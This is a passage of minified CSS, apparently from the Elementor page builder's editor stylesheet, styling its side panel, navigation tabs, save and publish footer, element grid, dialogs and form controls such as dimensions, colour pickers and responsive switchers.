.elementor-panel>.ui-resizable-e,.elementor-editor-preview .elementor-panel>.ui-resizable-w{display:none}.elementor-editor-preview .elementor-panel #elementor-panel-elements-wrapper{display:flex;flex-direction:column}.elementor-panel .ps__rail-y{z-index:2}.elementor-panel .elementor-responsive-panel{padding:0 15px;display:grid;gap:10px;grid-template-columns:repeat(auto-fill,minmax(min(135px,50% - 5px),1fr))}.elementor-panel .elementor-responsive-panel>.e-responsive-panel-stretch{grid-column:1/-1}.elementor-panel #elementor-panel-header{display:flex;align-items:center;justify-content:space-between;height:40px;width:100%;background-color:var(--e-a-dark-bg);color:var(--e-a-color-white)}.elementor-panel #elementor-panel-header>*{display:flex;align-items:center;justify-content:center}.elementor-panel .elementor-header-button{width:40px;border:0;color:currentColor;background-color:transparent}.elementor-panel .elementor-header-button .elementor-icon{cursor:pointer;display:block;font-size:19px;height:40px;line-height:40px;transition:var(--e-a-transition-hover)}.elementor-panel .elementor-header-button .elementor-icon.eicon-menu-bar{font-size:18px}.elementor-panel .elementor-header-button:focus,.elementor-panel .elementor-header-button:hover{color:var(--e-a-dark-color-txt-hover)}.elementor-panel #elementor-panel-header-title{flex:1;font-size:15px;font-weight:700}.elementor-panel #elementor-panel-header-title img{width:90px}.elementor-panel #elementor-panel-elements-categories{padding-block-end:10px;position:relative}.elementor-panel .elementor-panel-category{position:relative;border-block-end:var(--e-a-border)}.elementor-panel .elementor-panel-category .elementor-panel-heading{padding:0 15px;border:none;background-color:transparent}.elementor-panel .elementor-panel-category.elementor-active .elementor-panel-heading{border:none}.elementor-panel .elementor-panel-category-items{padding-block-end:20px}.elementor-panel .elementor-panel-category-items-empty{grid-column-start:1;grid-column-end:3}.elementor-panel #elementor-panel-page-menu{padding:25px 15px}.elementor-panel .elementor-panel-menu-group-title{text-transform:uppercase;font-size:11px}.elementor-panel .elementor-panel-menu-items{border:var(--e-a-border);margin:15px 0 25px;border-radius:5px;overflow:hidden}.elementor-panel .elementor-panel-menu-item{display:flex;align-items:center;width:100%;height:40px;transition:var(--e-a-transition-hover);border:0;background-color:transparent;cursor:pointer}.elementor-panel .elementor-panel-menu-item:not(:last-child){border-block-end:var(--e-a-border)}.elementor-panel .elementor-panel-menu-item:focus,.elementor-panel .elementor-panel-menu-item:hover{background-color:var(--e-a-bg-hover)}.elementor-panel .elementor-panel-menu-item:active{background-color:var(--e-a-bg-active);color:var(--e-a-color-txt-accent)}.elementor-panel .elementor-panel-menu-item-icon{text-align:center;width:30px;flex-shrink:0;padding:10px 0;margin:0 10px;font-size:19px}.elementor-panel .elementor-panel-menu-item-title{display:flex;flex-grow:1;font-weight:500;justify-content:space-between}.elementor-panel .elementor-panel-menu-item-title-badge{margin:0 10px;background:var(--e-a-color-white);border-radius:var(--e-a-border-radius)}.elementor-panel .elementor-panel-menu-item-title>span{color:var(--e-a-color-accent)}.elementor-panel .elementor-panel-menu-item a{display:flex;align-items:center;color:inherit;width:100%;height:100%;padding-inline-start:10px;padding:10px 0}.elementor-panel .elementor-control.elementor-control-clear_page{background-color:transparent}.elementor-panel .elementor-control.elementor-control-clear_page .elementor-control-raw-html{display:flex;align-items:center;justify-content:space-between}.elementor-panel .elementor-panel-navigation{display:flex;width:100%;border-block-end:var(--e-a-border)}.elementor-panel .elementor-panel-navigation .elementor-panel-navigation-tab{all:unset;flex:auto;transition:var(--e-a-transition-hover);border-block-end:3px solid transparent;cursor:pointer}.elementor-panel .elementor-panel-navigation .elementor-panel-navigation-tab:focus,.elementor-panel .elementor-panel-navigation .elementor-panel-navigation-tab:hover{background-color:var(--e-a-bg-hover)}.elementor-panel .elementor-panel-navigation .elementor-panel-navigation-tab:focus{outline:0}.elementor-panel .elementor-panel-navigation .elementor-panel-navigation-tab.elementor-active{border-color:var(--e-a-border-color-accent);color:var(--e-a-color-txt-accent)}.elementor-panel .elementor-panel-navigation .elementor-panel-navigation-tab.elementor-active span{color:var(--e-a-color-txt-accent)}.elementor-panel .elementor-panel-navigation .elementor-panel-navigation-tab span{color:inherit;display:block;text-align:center;padding:12px 0 8px;font-size:10px}.elementor-panel .elementor-panel-navigation .elementor-panel-navigation-tab span:before{font-family:eicons;font-size:16px;display:block;margin-block-end:8px}.elementor-panel .elementor-tab-control-content span:before{content:"\e92c"}.elementor-panel .elementor-tab-control-style span:before{content:"\e921"}.elementor-panel .elementor-tab-control-settings span:before{content:"\e940"}.elementor-panel .elementor-tab-control-advanced-tab-floating-bars span:before,.elementor-panel .elementor-tab-control-advanced-tab-floating-buttons span:before,.elementor-panel .elementor-tab-control-advanced-tab-links-in-bio span:before,.elementor-panel .elementor-tab-control-advanced span:before,.elementor-panel .elementor-tab-control-general_style span:before{content:"\e916"}.elementor-panel .elementor-tab-control-responsive span:before{content:"\e885"}.elementor-panel .elementor-tab-control-lightbox span:before{content:"\e922"}.elementor-panel .elementor-tab-control-column span:before,.elementor-panel .elementor-tab-control-layout span:before{content:"\e899"}.elementor-panel #elementor-panel__editor__help{padding:50px 25px;display:flex;align-items:center;justify-content:center}.elementor-panel #elementor-panel__editor__help__link{display:inline-flex;align-items:center;justify-content:center;font-size:85%;line-height:2;padding-inline-start:5px;color:inherit;font-weight:500;transition:var(--e-a-transition-hover)}.elementor-panel #elementor-panel__editor__help__link:focus,.elementor-panel #elementor-panel__editor__help__link:hover{color:var(--e-a-color-info)}.elementor-panel #elementor-panel__editor__help__link i{padding:0 5px;font-size:125%;position:relative}.elementor-panel #elementor-panel__editor__help__link i:after{content:"";position:absolute;height:13px;width:13px;top:3px;bottom:0;right:8px;left:0;border-radius:50%;z-index:-1}.elementor-panel #elementor-panel-footer{position:relative;height:40px;background-color:var(--e-a-dark-bg);color:var(--e-a-dark-color-txt)}.elementor-panel #elementor-panel-footer-tools{display:flex;justify-content:space-between;height:100%}.elementor-panel .elementor-panel-footer-tool{display:flex;align-items:center;justify-content:center;width:15%;cursor:pointer;transition:var(--e-a-transition-hover);border:0;color:currentColor;background-color:transparent}.elementor-panel .elementor-panel-footer-tool i{font-size:15px}.elementor-panel .elementor-panel-footer-tool #elementor-panel-saver-button-save-options i.eicon-chevron-right{margin:auto;transform:rotate(270deg)}.elementor-panel .elementor-panel-footer-tool #elementor-panel-saver-button-save-options.elementor-disabled{cursor:inherit}.elementor-panel .elementor-panel-footer-tool:not(.e-open):focus,.elementor-panel .elementor-panel-footer-tool:not(.e-open):hover{color:var(--e-a-dark-color-txt-hover)}.elementor-panel .elementor-panel-footer-tool:not(.e-open) .elementor-panel-footer-sub-menu-wrapper{display:none}.elementor-panel #elementor-panel-footer-saver-publish{width:30%;margin-inline-start:auto}.elementor-panel #elementor-panel-footer-saver-publish .elementor-button-state i{margin-inline-end:0}.elementor-panel #elementor-panel-footer-saver-publish .elementor-button-state #elementor-panel-saver-button-publish-label{display:none}.elementor-panel #elementor-panel-footer-saver-options{width:10%}.elementor-panel #elementor-panel-footer-saver-options .elementor-last-edited-wrapper{font-size:11px;font-style:italic;padding:5px 0 15px}.elementor-panel #elementor-panel-footer-saver-options .elementor-last-edited-wrapper:not(.elementor-state-active) .elementor-state-icon{display:none}.elementor-panel #elementor-panel-footer-saver-options .elementor-last-edited-wrapper time{border-block-end:1px dotted transparent;transition:all .3s ease-in-out;cursor:pointer}.elementor-panel #elementor-panel-footer-saver-options .elementor-last-edited-wrapper time:hover{border-block-end-color:inherit}.elementor-panel #elementor-panel-footer-saver-options.e-open i.eicon-chevron-right{transform:rotate(90deg)}.elementor-panel #elementor-panel-saver-button-publish,.elementor-panel #elementor-panel-saver-button-save-options{padding:0;font-size:11px;height:100%;width:100%;border-radius:0}.elementor-panel #elementor-panel-saver-button-publish.elementor-disabled,.elementor-panel #elementor-panel-saver-button-save-options.elementor-disabled{background-color:#1f2124;color:#9da5ae}.elementor-panel #elementor-panel-saver-button-publish:not(.elementor-disabled){border-inline-end:1px solid #f0abfc}.elementor-panel #elementor-panel-saver-button-publish.elementor-disabled{border-inline-end:1px solid #3f444b}.elementor-panel .elementor-panel-footer-sub-menu-wrapper{position:absolute;bottom:100%;left:0;width:100%;background-color:#1f2124;padding:10px;box-shadow:-2px -5px 8px rgba(0,0,0,.1);cursor:default;z-index:10000}.elementor-panel .elementor-panel-footer-sub-menu{border-radius:var(--e-border-radius);overflow:hidden;border:1px solid #3f444b}.elementor-panel .elementor-panel-footer-sub-menu-item{display:flex;height:40px;color:#d5d8dc;align-items:center;-moz-column-gap:10px;column-gap:10px;padding:0 20px;transition:var(--e-a-transition-hover);cursor:pointer}.elementor-panel .elementor-panel-footer-sub-menu-item.elementor-disabled{cursor:default;color:#69727d}.elementor-panel .elementor-panel-footer-sub-menu-item:not(:last-child){border-block-end:1px solid #3f444b}.elementor-panel .elementor-panel-footer-sub-menu-item:hover{background-color:hsla(0,0%,100%,.1)}.elementor-panel .elementor-panel-footer-sub-menu-item.active{background-color:hsla(0,0%,100%,.2)}#elementor-panel-elements-navigation .elementor-panel-navigation-tab{text-align:center;padding:10px 0;font-size:12px;cursor:pointer}#elementor-panel-elements{overflow:hidden}#elementor-panel-state-loading{display:none}body.elementor-panel-loading #elementor-panel-state-loading{position:absolute;top:0;left:0;height:100%;width:100%;display:flex;align-items:center;justify-content:center;background-color:hsla(0,0%,100%,.5);z-index:2}#elementor-panel-state-loading .eicon-loading{font-size:25px;color:var(--e-a-color-txt-accent)}#elementor-panel-elements-search-area{background-color:var(--e-a-bg-default);position:sticky;top:0;padding:15px;z-index:1}#elementor-panel-elements-search-wrapper{position:relative}#elementor-panel-elements-search-input{font-size:11px;padding-block:10px;padding-inline:29px 10px;font-style:italic;border:var(--e-a-border-bold);border-radius:0;transition:all 1s;-webkit-appearance:none;-moz-appearance:none;appearance:none}#elementor-panel-elements-search-input+i{position:absolute;right:10px;top:50%;color:var(--e-a-color-txt-disabled);transform:translateY(-50%)}#elementor-panel-elements-search-input:focus{border-color:var(--e-a-border-color-focus);padding-inline-end:15px}.elementor-panel .elementor-element{font-family:var(--e-a-font-family);color:var(--e-a-color-txt);line-height:1;text-align:center;border:var(--e-a-border-bold);border-radius:3px;cursor:move;position:relative;transition:var(--e-a-transition-hover);width:100%;background-color:transparent}.elementor-panel .elementor-element--promotion .elementor-element{cursor:pointer;-webkit-user-select:none;-moz-user-select:none;user-select:none}.elementor-panel .elementor-element:focus,.elementor-panel .elementor-element:hover{background-color:var(--e-a-bg-hover);border-color:var(--e-a-border-color-bold)}.elementor-panel .elementor-element:focus>.eicon-lock,.elementor-panel .elementor-element:hover>.eicon-lock{color:var(--e-a-color-accent)}.elementor-panel .elementor-element .icon{font-size:28px;padding-block-start:15px}.elementor-panel .elementor-element .title-wrapper{display:flex;height:40px;align-items:center;justify-content:center}.elementor-panel .elementor-element .title{font-size:12px}.elementor-panel .elementor-element>.eicon-lock{position:absolute;top:5px;left:5px;color:var(--e-a-color-txt-disabled)}.elementor-panel .elementor-element:active{background-color:var(--e-a-bg-hover);border-color:var(--e-a-border-color-accent);color:var(--e-a-color-txt-accent)}#elementor-element--promotion__dialog{position:absolute;width:300px;z-index:1;background-color:var(--e-a-bg-default);box-shadow:var(--e-a-popover-shadow);border-radius:var(--e-a-border-radius)}#elementor-element--promotion__dialog:after{content:"";position:absolute;top:15px;left:100%;transform:scaleY(.7);border:10px solid transparent;border-inline-end-color:var(--e-a-bg-default)}#elementor-element--promotion__dialog__title{font-size:14px}#elementor-element--promotion__dialog .dialog-header{display:flex;padding:20px;border-block-end:var(--e-a-border);font-weight:500}#elementor-element--promotion__dialog .dialog-header .eicon-pro-icon{flex-grow:1;margin-inline-start:10px;font-size:14px;color:var(--e-a-color-accent)}#elementor-element--promotion__dialog .dialog-header .eicon-close{cursor:pointer;color:var(--e-a-color-txt-disabled)}#elementor-element--promotion__dialog .dialog-header .eicon-close:hover{color:var(--e-a-color-txt-muted)}#elementor-element--promotion__dialog .dialog-message{padding:20px}#elementor-element--promotion__dialog .dialog-buttons-wrapper{padding:0 20px 20px}#elementor-element--promotion__dialog .dialog-button{padding:7px 25px;font-size:12px}.dialog-tooltip-widget{position:absolute;width:300px;z-index:1;background-color:var(--e-a-bg-default);box-shadow:0 2px 15px rgba(0,0,0,.3);border-radius:3px}.dialog-tooltip-widget:after{content:"";position:absolute;top:15px;left:100%;transform:scaleY(.7);border:10px solid transparent;border-inline-end-color:var(--e-a-bg-default)}.dialog-tooltip-widget__title{font-size:14px}.dialog-tooltip-widget .dialog-tooltip-header{display:flex;padding:20px 20px 0;color:var(--e-a-color-txt);border-block-end:1px solid var(--e-a-bg-default);font-weight:500}.dialog-tooltip-widget .dialog-tooltip-header .eicon-pro-icon{flex-grow:1;margin-inline-start:10px;font-size:14px;color:#93003f}.dialog-tooltip-widget .dialog-tooltip-header .eicon-close{cursor:pointer;margin-inline-start:auto;color:var(--e-a-color-txt)}.dialog-tooltip-widget .dialog-tooltip-message{padding:20px}.dialog-tooltip-widget .dialog-tooltip-buttons-wrapper{padding:0 20px 20px;text-align:end}.dialog-tooltip-widget .dialog-tooltip-button{padding:7px 25px;font-size:12px}.dialog-tooltip-widget .dialog-tooltip-button::-moz-focus-inner{border:0}#elementor-panel-inner{position:relative;height:100%;display:flex;flex-direction:column;box-shadow:0 0 5px 0 rgba(0,0,0,.1)}#elementor-panel-content-wrapper{position:relative;width:100%;flex:1}.elementor-panel-container{clear:both;padding-inline-start:15px;padding-inline-end:15px}#elementor-panel-get-pro-elements .elementor-nerd-box-message{margin-block-start:10px}#elementor-panel-get-pro-elements .elementor-nerd-box-icon{margin-block-start:20px}#elementor-panel-get-pro-elements-sticky{position:sticky;bottom:0;font-size:14px;font-weight:400;line-height:1.6;margin-block-end:-10px}#elementor-panel-get-pro-elements-sticky .elementor-get-pro-sticky-message{margin-top:-14px;min-height:40px;display:block;padding:9px min(35px,5%);gap:10px;background-color:var(--e-a-color-white);color:var(--e-a-color-black);text-align:center;box-shadow:0 -10px 14px -6px rgba(0,0,0,.05)}#elementor-panel-get-pro-elements-sticky .elementor-get-pro-sticky-message a{display:inline-block;font-size:13px;font-weight:500;color:var(--e-a-btn-bg-accent)}#elementor-panel-get-pro-elements-sticky img{margin-left:17px}#elementor-panel-notice-wrapper .elementor-panel-notice{width:90%;margin:0 auto;font-style:unset;margin-block-end:15px}#elementor-panel-notice-wrapper .elementor-panel-notice a{font-weight:700;font-style:italic;border-block-end:2px dotted var(--e-a-color-info);display:inline-block}body.e-has-notification .elementor-panel-menu-item.elementor-panel-menu-item-notification-center .elementor-panel-menu-item-icon,body.e-has-notification:not(.e-route-panel-menu) #elementor-panel-header-menu-button{position:relative}body.e-has-notification .elementor-panel-menu-item.elementor-panel-menu-item-notification-center .elementor-panel-menu-item-icon:after,body.e-has-notification:not(.e-route-panel-menu) #elementor-panel-header-menu-button:after{position:absolute;content:"";display:block;background:var(--e-a-color-primary);border-radius:50%;width:8px;height:8px;top:5px;right:5px}.media-modal.wp-core-ui{color-scheme:light;color:#515962}.media-modal.wp-core-ui select{width:auto;padding-inline:8px}.media-modal.wp-core-ui fieldset{padding:0;border:0}.elementor-control{--control-title-size:12px;position:relative;padding:0 20px 15px}.elementor-control a{font-weight:500;text-decoration:none;border-block-end:1px dotted transparent;transition:all .3s ease-in-out}.elementor-control a:hover{border-block-end-color:inherit}.elementor-control .elementor-control-content{display:flex;flex-direction:column}.elementor-control .elementor-control-title{font-size:var(--control-title-size);line-height:1;margin-inline-end:5px}.elementor-control .elementor-control-title:empty{display:none}.elementor-control .elementor-control-spinner{display:flex;align-items:center}.elementor-control.elementor-control-type-divider{padding:0}.elementor-control.elementor-control-type-divider .elementor-control-content{border-width:0;border-block-start:var(--e-a-border);background-color:var(--e-a-bg-default);height:15px}.elementor-control.elementor-control-separator-before{padding-block-start:15px}.elementor-control.elementor-control-separator-before:before{content:"";position:absolute;height:1px;width:calc(100% - 40px);top:0;right:20px;background-color:var(--e-a-border-color)}.elementor-control.elementor-control-separator-after:after{content:"";position:absolute;height:1px;width:calc(100% - 40px);bottom:0;right:20px;background-color:var(--e-a-border-color)}.elementor-control.elementor-control-separator-after+.elementor-control-type-tabs+.elementor-control-separator-default,.elementor-control.elementor-control-separator-after:not(.elementor-hidden-control)+.elementor-control-separator-default{padding-block-start:15px}.elementor-control.elementor-control-deprecated,.elementor-control.elementor-control-deprecated .elementor-control-field-description{color:var(--e-a-color-warning)}.elementor-control.elementor-control-hidden-label>*>*>.elementor-control-title,.elementor-control.elementor-control-hidden-label>*>.elementor-control-title,.elementor-control.elementor-hidden-control{display:none}.elementor-control.elementor-control-type-heading .elementor-control-title{font-weight:700;margin:0}body:not(.elementor-device-desktop) .elementor-control.elementor-control-responsive-desktop,body:not(.elementor-device-laptop) .elementor-control.elementor-control-responsive-laptop,body:not(.elementor-device-mobile) .elementor-control.elementor-control-responsive-mobile,body:not(.elementor-device-mobile_extra) .elementor-control.elementor-control-responsive-mobile_extra,body:not(.elementor-device-tablet) .elementor-control.elementor-control-responsive-tablet,body:not(.elementor-device-tablet_extra) .elementor-control.elementor-control-responsive-tablet_extra,body:not(.elementor-device-widescreen) .elementor-control.elementor-control-responsive-widescreen{display:none}.elementor-control-custom_attributes_pro .elementor-nerd-box-message,.elementor-control-custom_css_pro .elementor-nerd-box-message{margin-block-start:5px}.elementor-control.e-open .elementor-panel-heading-toggle .eicon:before,.elementor-control.elementor-active .elementor-panel-heading-toggle .eicon:before,.elementor-panel-category.e-open .elementor-panel-heading-toggle .eicon:before,.elementor-panel-category.elementor-active .elementor-panel-heading-toggle .eicon:before,.elementor-panel-scheme-item.e-open .elementor-panel-heading-toggle .eicon:before,.elementor-panel-scheme-item.elementor-active .elementor-panel-heading-toggle .eicon:before{content:"\e92a"}.elementor-control:not(.e-open):not(.elementor-active) .elementor-panel-heading-toggle .eicon:before,.elementor-panel-category:not(.e-open):not(.elementor-active) .elementor-panel-heading-toggle .eicon:before,.elementor-panel-scheme-item:not(.e-open):not(.elementor-active) .elementor-panel-heading-toggle .eicon:before{content:"\e909"}.elementor-panel-heading{display:flex;align-items:center;gap:5px;height:48px;padding-inline:20px;width:100%;border:0;border-block-start:var(--e-a-border);border-block-start-width:2px;background-color:transparent;color:var(--e-a-color-txt-accent);cursor:pointer}.elementor-panel-heading-toggle{width:10px;display:flex;flex-direction:column;align-items:center}.elementor-panel-heading-title{font-weight:700}.elementor-panel-heading-promotion{margin-inline-start:auto}.elementor-panel-heading-promotion a{color:var(--e-a-color-accent-promotion);font-family:Roboto,sans-serif;font-weight:500;font-size:13px}.elementor-panel-heading-promotion a i{margin-inline-end:4px;font-size:14px}.elementor-panel-heading-promotion a:hover{color:var(--e-a-color-accent-promotion)}.elementor-panel-heading:focus-visible{color:var(--e-a-color-txt-hover)}#elementor-controls .elementor-control-type-section:first-child .elementor-panel-heading{border-block-start:none}.elementor-control-field{display:flex;align-items:center}.elementor-label-block>.elementor-control-content>.elementor-control-field{flex-wrap:wrap}.elementor-label-block>.elementor-control-content>.elementor-control-field>.elementor-control-input-wrapper{width:100%;max-width:100%;margin-block-start:10px}.elementor-label-block>.elementor-control-content>.elementor-control-field>.elementor-control-input-wrapper>.elementor-choices label{width:auto;flex:1 1 27px;display:flex;align-items:center;justify-content:center}.elementor-label-block.elementor-control-hidden-label.elementor-label-block>.elementor-control-content>.elementor-control-field>.elementor-control-input-wrapper,.elementor-label-block.elementor-control-hidden-label:not(.elementor-control-dynamic)>.elementor-control-content>.elementor-control-field>.elementor-control-input-wrapper{margin-block-start:0}.elementor-label-inline>.elementor-control-content>.elementor-control-field>.elementor-control-title{flex-shrink:0;max-width:60%}.elementor-label-inline>.elementor-control-content>.elementor-control-field>.elementor-control-input-wrapper{margin-inline-start:auto}.elementor-control-field-description{margin-block-start:10px}.elementor-group-control-attachment_alert .elementor-control-field-description{margin-block-start:0}.elementor-control-start-end .eicon-h-align-left,.elementor-control-start-end .eicon-h-align-right{transform:rotate(180deg)}.elementor-update-preview{margin:15px 15px 0;display:flex;align-items:center}.elementor-update-preview-button-wrapper{flex-grow:1;text-align:end}.elementor-update-preview-button{padding:8px 15px}.elementor-control-direction-ltr input,.elementor-control-direction-ltr textarea{direction:ltr}.elementor-control-direction-rtl input,.elementor-control-direction-rtl textarea{direction:rtl}.elementor-control-alert{display:flex;flex-direction:column;justify-content:flex-start;align-items:flex-start;gap:8px}.elementor-control-alert-heading{font-weight:700}.elementor-control-type-button .elementor-control-input-wrapper{text-align:end}.elementor-control-type-button .elementor-button{width:auto}.elementor-control-type-button .elementor-button.elementor-button-center{display:block;margin:0 auto}.elementor-control-type-choose.elementor-label-block .elementor-choices{width:100%}.elementor-choices{display:flex;height:27px;line-height:27px;text-align:center;border-spacing:1px;border-radius:var(--e-a-border-radius);overflow:hidden}.elementor-choices .elementor-choices-label{border-block-start:var(--e-a-border-bold);border-block-end:var(--e-a-border-bold);border-inline-start:var(--e-a-border-bold);border-inline-end:none;font-size:12px;transition:var(--e-a-transition-hover);cursor:pointer;overflow:hidden}.elementor-choices .elementor-choices-label:nth-child(2){border-start-start-radius:var(--e-a-border-radius);border-end-start-radius:var(--e-a-border-radius)}.elementor-choices .elementor-choices-label:last-child{border-inline-end:var(--e-a-border-bold);border-start-end-radius:var(--e-a-border-radius);border-end-end-radius:var(--e-a-border-radius)}.elementor-choices input{display:none}.elementor-choices input:hover+.elementor-choices-label{background-color:var(--e-a-bg-hover)}.elementor-choices input.e-choose-placeholder+.elementor-choices-label,.elementor-choices input:checked+.elementor-choices-label{background-color:var(--e-a-bg-active-bold);color:var(--e-a-color-txt-accent)}.elementor-label-inline .elementor-choices{justify-content:flex-end}.elementor-control-type-color.e-control-global .pickr{border-start-start-radius:0;border-start-end-radius:var(--e-a-border-radius);border-end-start-radius:0;border-end-end-radius:var(--e-a-border-radius);flex-shrink:0;border-color:var(--e-a-border-color-bold);transition:var(--e-a-transition-hover)}.elementor-control-type-color.e-control-global .pickr:hover{background-color:var(--e-a-bg-hover)}.elementor-control-type-color.e-control-global .e-global__popover-toggle:not(.e-global__popover-toggle--active)~.pickr{background-color:var(--e-a-bg-active-bold)}.elementor-control-type-color .elementor-control-title{flex-grow:1}.elementor-control-type-color .elementor-control-input-wrapper{display:flex;justify-content:flex-end}.elementor-group-control-css-filter .elementor-slider{height:6px;box-shadow:inset 0 0 1px 1px rgba(0,0,0,.2)}.elementor-group-control-css-filter .elementor-control-content>.elementor-control-field>.elementor-control-input-wrapper{margin-block-start:0;margin-block-end:5px}.elementor-group-control-blur .elementor-slider{background:url(../images/blur.png);background-size:cover;background-position:50%}.elementor-group-control-contrast .elementor-slider{background:url(../images/contrast.png);background-size:100% 100%}.elementor-group-control-hue .elementor-slider{background-image:linear-gradient(90deg,red,orange,#ff0,#adff2f,#32cd32,#00bfff,#00f,#9400d3 95%)}.elementor-group-control-saturate .elementor-slider{background-image:linear-gradient(90deg,grey,red)}.elementor-group-control-brightness .elementor-slider{background-image:linear-gradient(90deg,#000,#fff)}.elementor-control-type-dimensions .elementor-control-dimensions{display:flex}.elementor-control-type-dimensions li{flex:1;transition:flex-grow .3s ease-in-out}.elementor-control-type-dimensions li .elementor-link-dimensions,.elementor-control-type-dimensions li input{display:block;text-align:center;width:100%;height:27px}.elementor-control-type-dimensions li input{border-inline-start:none;border-radius:0;padding:var(--e-a-border-radius)}.elementor-control-type-dimensions li input:focus{border-inline-start:var(--e-a-border-bold);margin-inline-start:-1px;width:calc(100% + 1px)}.elementor-control-type-dimensions li input:focus+.elementor-control-dimension-label{color:var(--e-a-color-txt)}.elementor-control-type-dimensions li .elementor-link-dimensions{border:var(--e-a-border-bold);border-inline-start:none;background-color:var(--e-a-bg-default);padding:0;outline:none;border-start-start-radius:0;border-start-end-radius:var(--e-a-border-radius);border-end-start-radius:0;border-end-end-radius:var(--e-a-border-radius);cursor:pointer}.elementor-control-type-dimensions li:first-child input{border-inline-start:1px solid var(--e-a-border-color-bold);border-start-start-radius:var(--e-a-border-radius);border-start-end-radius:0;border-end-start-radius:var(--e-a-border-radius);border-end-end-radius:0}.elementor-control-type-dimensions li:first-child input:focus{border-color:var(--e-a-border-color-focus);margin-inline-start:0;width:100%}.elementor-control-type-dimensions li:last-child{max-width:27px}.elementor-control-type-dimensions.e-units-custom li.elementor-control-dimension:focus-within{flex:2.5}.elementor-control-type-dimensions .elementor-control-dimension-label{color:var(--e-a-color-txt-muted);display:block;text-align:center;font-size:9px;padding-block-start:5px}.elementor-control-type-dimensions .elementor-link-dimensions.unlinked{background-color:var(--e-a-bg-default)}.elementor-control-type-dimensions .elementor-link-dimensions.unlinked .elementor-linked{display:none}.elementor-control-type-dimensions .elementor-link-dimensions:not(.unlinked){background-color:var(--e-a-bg-active-bold);color:var(--e-a-color-txt-accent);border-color:var(--e-a-border-color-bold)}.elementor-control-type-dimensions .elementor-link-dimensions:not(.unlinked) .elementor-unlinked{display:none}.elementor-control-responsive-switchers{--selected-option:0;--pointer-position:var(--selected-option);position:relative;width:2.5em;height:2.5em;margin:calc(-2.5em + 12px) 0;margin-inline-end:5px}.elementor-control-responsive-switchers__holder{position:absolute;width:100%;top:0;background-color:var(--e-a-bg-default);border-radius:var(--e-a-border-radius);transition:.15s;border:1px solid transparent}.elementor-control-responsive-switchers.elementor-responsive-switchers-open{z-index:11000}.elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-responsive-switcher{height:2.5em;transform:scale(1);opacity:1}.elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-responsive-switcher:hover{color:var(--e-a-color-primary-bold)}.elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-control-responsive-switchers__holder{box-shadow:var(--e-a-dropdown-shadow)}.elementor-responsive-switcher{all:unset;display:flex;align-items:center;justify-content:center;position:relative;z-index:2;cursor:pointer;height:0;width:100%;transform:scale(0);opacity:0;transition:.15s;font-size:12px;color:inherit}.elementor-responsive-switcher:hover{color:var(--e-a-color-primary-bold)}.elementor-device-widescreen .elementor-responsive-switcher.elementor-responsive-switcher-widescreen{height:2.5em;transform:scale(1);opacity:1}.elementor-device-widescreen .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-widescreen{color:var(--e-a-color-primary-bold)}.elementor-device-desktop .elementor-responsive-switcher.elementor-responsive-switcher-desktop{height:2.5em;transform:scale(1);opacity:1}.elementor-device-desktop .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-desktop{color:var(--e-a-color-primary-bold)}.elementor-device-laptop .elementor-responsive-switcher.elementor-responsive-switcher-laptop{height:2.5em;transform:scale(1);opacity:1}.elementor-device-laptop .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-laptop{color:var(--e-a-color-primary-bold)}.elementor-device-tablet_extra .elementor-responsive-switcher.elementor-responsive-switcher-tablet_extra{height:2.5em;transform:scale(1);opacity:1}.elementor-device-tablet_extra .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-tablet_extra{color:var(--e-a-color-primary-bold)}.elementor-device-tablet .elementor-responsive-switcher.elementor-responsive-switcher-tablet{height:2.5em;transform:scale(1);opacity:1}.elementor-device-tablet .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-tablet{color:var(--e-a-color-primary-bold)}.elementor-device-mobile_extra .elementor-responsive-switcher.elementor-responsive-switcher-mobile_extra{height:2.5em;transform:scale(1);opacity:1}.elementor-device-mobile_extra .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-mobile_extra{color:var(--e-a-color-primary-bold)}.elementor-device-mobile .elementor-responsive-switcher.elementor-responsive-switcher-mobile{height:2.5em;transform:scale(1);opacity:1}.elementor-device-mobile .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-mobile{color:var(--e-a-color-primary-bold)}.e-units-wrapper{position:relative;margin-inline-start:auto}.e-units-wrapper .e-units-switcher{cursor:pointer;font-size:10px;padding:.5em;margin:-.5em 0;transition:all .15s ease-in-out}.e-units-wrapper .e-units-switcher:hover{color:var(--e-a-color-primary-bold);background-color:var(--e-a-bg-hover);border-radius:var(--e-a-border-radius)}.e-units-wrapper .e-units-switcher:not([data-selected=custom]) i.eicon-edit,.e-units-wrapper .e-units-switcher[data-selected=custom] span{display:none}.e-units-wrapper .e-units-switcher i.eicon-angle-right{transform:rotate(90deg)}.e-units-choices input{display:none}.e-units-choices input:checked+label{color:var(--e-a-color-primary-bold)}.e-units-choices label{cursor:pointer;display:block}.e-units-choices{display:none;overflow:hidden;max-height:0;position:absolute;top:-.8em;right:-.5em;width:2.5em;text-align:center;background-color:var(--e-a-bg-default);border-radius:var(--e-a-border-radius);box-shadow:var(--e-a-dropdown-shadow);animation-timing-function:linear;animation-delay:0s;animation-fill-mode:forwards;z-index:11000}.e-units-choices .elementor-units-choices-label{display:flex;align-items:center;height:3em;justify-content:center;font-size:10px;transition:.15s}.e-units-choices .elementor-units-choices-label:hover{color:var(--e-a-color-primary-bold)}.e-units-choices.e-units-choices-open{display:block;animation-duration:1s;animation-name:e-units-choices-open}.e-units-custom input{font-family:monospace;font-size:.85em}@keyframes e-units-choices-open{0%{max-height:0}to{max-height:100vh}}.elementor-control-type-gaps .elementor-control-gaps{display:flex}.elementor-control-type-gaps li{flex:1;transition:flex-grow .3s ease-in-out}.elementor-control-type-gaps li .elementor-link-gaps,.elementor-control-type-gaps li input{display:block;text-align:center;width:100%;height:27px}.elementor-control-type-gaps li input{border-inline-start:none;border-radius:0;padding:var(--e-a-border-radius)}.elementor-control-type-gaps li input:focus{border-inline-start:var(--e-a-border-bold);margin-inline-start:-1px;width:calc(100% + 1px)}.elementor-control-type-gaps li 